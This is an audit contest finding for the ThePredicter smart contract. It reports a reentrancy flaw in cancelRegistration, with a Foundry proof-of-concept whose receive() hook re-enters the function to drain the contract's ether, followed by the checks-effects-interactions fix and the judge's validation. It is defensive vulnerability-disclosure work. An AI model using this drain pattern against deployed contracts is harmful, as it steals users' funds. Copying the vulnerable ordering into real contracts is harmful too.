First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Re-Entrancy attack

cryptedoji

Summary

The cancelRegistration function of the ThePredicter.sol contract did not follow the CEI(Check, Effect, Interraction) rule of execution, hence the protocol is vulnerable to reentrancy attack leading to all funds being drained from the contract.

Vulnerability Details

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

the above function is the loop hole for attack because playersStatus[msg.sender] = Status.Canceled is being effected after the entryFee refund.
if an attacker can simply deploy a malicious smart contract and use it to register as a User. The attacker will wait till enough entryFee has been deposited and then call cancelRegistration. the exploit is deviced using fallback or receive function in the malicious contract where cancelRegistration is called repeatedly untill all funds are drained.

PoC

The exploit is demonstrated using the default foundry account as shown below

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
​
contract ThePredicterTest is Test {
​
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("Ivan");
// address public malicious = makeAddr("malicious");
​
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
​
function test_reentrancy()public{
for (uint256 i = 0; i < 29; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
thePredicter.register{value: 0.04 ether}();
uint256 balB4 = address(this).balance;
thePredicter.cancelRegistration();
uint256 balanceAfterExploit = address(this).balance;
​
assertEq(balanceAfterExploit-balB4, 1.2 ether);
}
​
receive() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
thePredicter.cancelRegistration();
}
}
​
}

Impact

  • complete loss of funds for the ThePredicter contract leading to other issues like insolvency of the protocol.

  • loss of funds for Users of the protocol

Tools Used

  • Manual review

  • Foundry test

Recommendations

  • cancelRegistration should be re-written and CEI(Check, Effect, Interraction) should be adopted by making all state changes before refunding the user

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.